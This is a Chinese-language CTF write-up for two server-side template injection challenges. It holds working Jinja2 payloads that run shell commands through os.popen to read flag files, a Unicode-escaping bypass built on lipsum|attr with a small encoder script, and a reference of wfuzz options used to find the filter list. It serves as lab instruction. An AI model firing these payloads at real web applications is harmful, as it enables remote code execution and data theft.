1、[HNCTF 2022 WEEK2]ez_SSTI
首先是注入${7*7}没有回显出49的情况,再次注入{{7*7}}如果还是没有回显49就代表这里没有模板注入;如果注入{{7*7}}回显了49代表执行成功,继续往下走注入{{7*'7'}},如果执行成功回显7777777说明是jinja2模板,如果回显是49就说明是Twig模板
首先测试注入的模板,首先输入{7*7}没有回显49,再次尝试{{7*7}},是jinjia2模板
payload:?name={{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
构造payload后页面回显
?name={{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}
继续构造payload得到flag
2、[安洵杯 2020]Normal SSTI
①‘’|attr(“__class__”)等效于‘’.__class__
②如果要使用xxx.os(‘xxx’)类似的方法,可以使用xxx|attr(“os”)(‘xxx’)
③使用flask里的lipsum方法来执行命令:flask里的lipsum方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块
Unicode编码的python脚本如下:
class_name = "cat /flag"
unicode_class_name = ''.join(['\\u{:04x}'.format(ord(char)) for char in class_name])
print(unicode_class_name)payload示例:
url={%print(()|attr(%22\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f%22))%}
(Unicode编码,这条payload等效于{{“”.__class__}})
打开后有提示,跟着提示进行尝试,
到该页面后结合题目ssti进行注入
两次注入都没有得到需要的信息,参考其他wp发现需要使用fuzz工具
Fuzz工具使用详解
(1)wfuzz
描述:wfuzz 是一款Python开发的Web安全模糊测试工具。简而言之就是wfuzz可以用在做请求参数参数类的模糊测试,也可以用来做Web目录扫描等操作。 github项目: https://github.com/xmendez/wfuzz , 安装Wfuzz pip install wfuzz 字典文本: /usr/share/wfuzz/wordlist
简单粗暴的功能特点记录:
模块化 框架 可编写插件
接口 可处理BurpSuite所抓的请求和响应报文
Usage: wfuzz [options] -z payload,params <url>
FUZZ, ..., FUZnZ #payload占位符,wfuzz会用指定的payload代替相应的占位符,n代表数字.
FUZZ{baseline_value} # FUZZ 会被 baseline_value替换,并将此作为测试过程中第一个请求来测试,可用来作为过滤的一个基础。#参数解释
-h/--help : 帮助文档
--help : 高级帮助文档
--version : Wfuzz详细版本信息
-e <type> : 显示可用的encoders/payloads/iterators/printers/scripts列表(查看指定模块类型中的模块列表)
--recipe <filename> : 从文件中读取参数
--dump-recipe <filename> : 打印当前的参数并保存成文档
--oF <filename> : 将测试结果保存到文件,这些结果可被wfuzz payload 处理
-c : 彩色化输出
-v : 详细输出
-f filename,printer : 将结果以printer的方式保存到filename (默认为raw printer).
-o printer : 输出特定printer的输出结果
--interact : (测试功能) 如果启用,所有的按键将会被捕获,这使得你能够与程序交互
--dry-run : 打印测试结果,而并不发送HTTP请求
--prev : 打印之前的HTTP请求(仅当使用payloads来生成测试结果时使用)
-p addr : 使用代理,格式 ip:port:type. 可设置多个代理,type可取的值为SOCKS4,SOCKS5 or HTTP(默认)
-t N : 指定连接的并发数,默认为10
-s N : 指定请求的间隔时间,默认为0
-R depth : 递归路径探测,depth指定最大递归数量
-L,--follow : 跟随HTTP重定向
-Z : 扫描模式 (连接错误将被忽视).
--req-delay N : 设置发送请求允许的最大时间,默认为 90,单位为秒.
--conn-delay N : 设置连接等待的最大时间,默认为 90,单位为秒.
-A : 是 --script=default -v -c 的简写
--script= : 与 --script=default 等价
--script=<plugins> : 进行脚本扫描, <plugins> 是一个以逗号分开的插件或插件分类列表
--script-help=<plugins> : 显示脚本的帮助
--script-args n1=v1,... : 给脚本传递参数. ie. --script-args grep.regex="<A href=\"(.*?)\">"
-u url : 指定请求的URL
-m iterator : 指定一个处理payloads的迭代器 (默认为product)
-z payload : 为每一个占位符指定一个payload,格式为 name[,parameter][,encoder].编码可以是一个列表,如 md5-sha1还可以串联起来, 如[email protected]还可使用编码各类名如 url;
使用help作为payload来显示payload的详细帮助信息,还可使用--slice进行过滤(替代了下面的--zP参数)
--zP <params> : 给指定的payload设置参数。必须跟在 -z 或-w 参数后面
--slice <filter> : 以指定的表达式过滤payload的信息,必须跟在-z 参数后面
-w wordlist : 指定一个wordlist文件,等同于 -z file,wordlist
-V alltype : 暴力测试所有GET/POST参数,无需指定占位符
-X method : 指定一个发送请求的HTTP方法,如HEAD或FUZZ
-b cookie : 指定请求的cookie参数,可指定多个cookie
-d postdata : 设置用于测试的POST data (ex: "id=FUZZ&catalogue=1")
-H header : 设置用于测试请求的HEADER (ex:"Cookie:id=1312321&user=FUZZ"). 可指定多个HEADER.
--basic/ntlm/digest auth : 格式为 "user:pass" or "FUZZ:FUZZ" or "domain\FUZ2Z:FUZZ"
--hc/hl/hw/hh N[,N]+ : 以指定的返回码/行数/字数/字符数作为判断条件隐藏返回结果 (用 BBB 来接收 baseline)
--sc/sl/sw/sh N[,N]+ : 以指定的返回码/行数/字数/字符数作为判断条件显示返回结果 (用 BBB 来接收 baseline)
--ss/hs regex : 显示或隐藏返回结果中符合指定正则表达式的返回结果
--filter <filter> : 显示或隐藏符合指定filter表达式的返回结果 (用 BBB 来接收 baseline)
--prefilter <filter> : 用指定的filter表达式在测试之前过滤某些测试条目
--slice 参数来过滤帮助返回信息的结果。
用fuzz字典得到了过滤名单。
[' ','\'','*','[',']','_','.','globals','request','args','form','getitem','flag','length','list','string','config']
因为过滤了 {{}},所以使用{%%},不能用base64编码还有request,考虑用Unicode编码配合attr过滤器来绕过。
构造payload:
{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")())%}
在此基础上将_globals_,__getitem__还有命令进行编码:
{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("read")())%}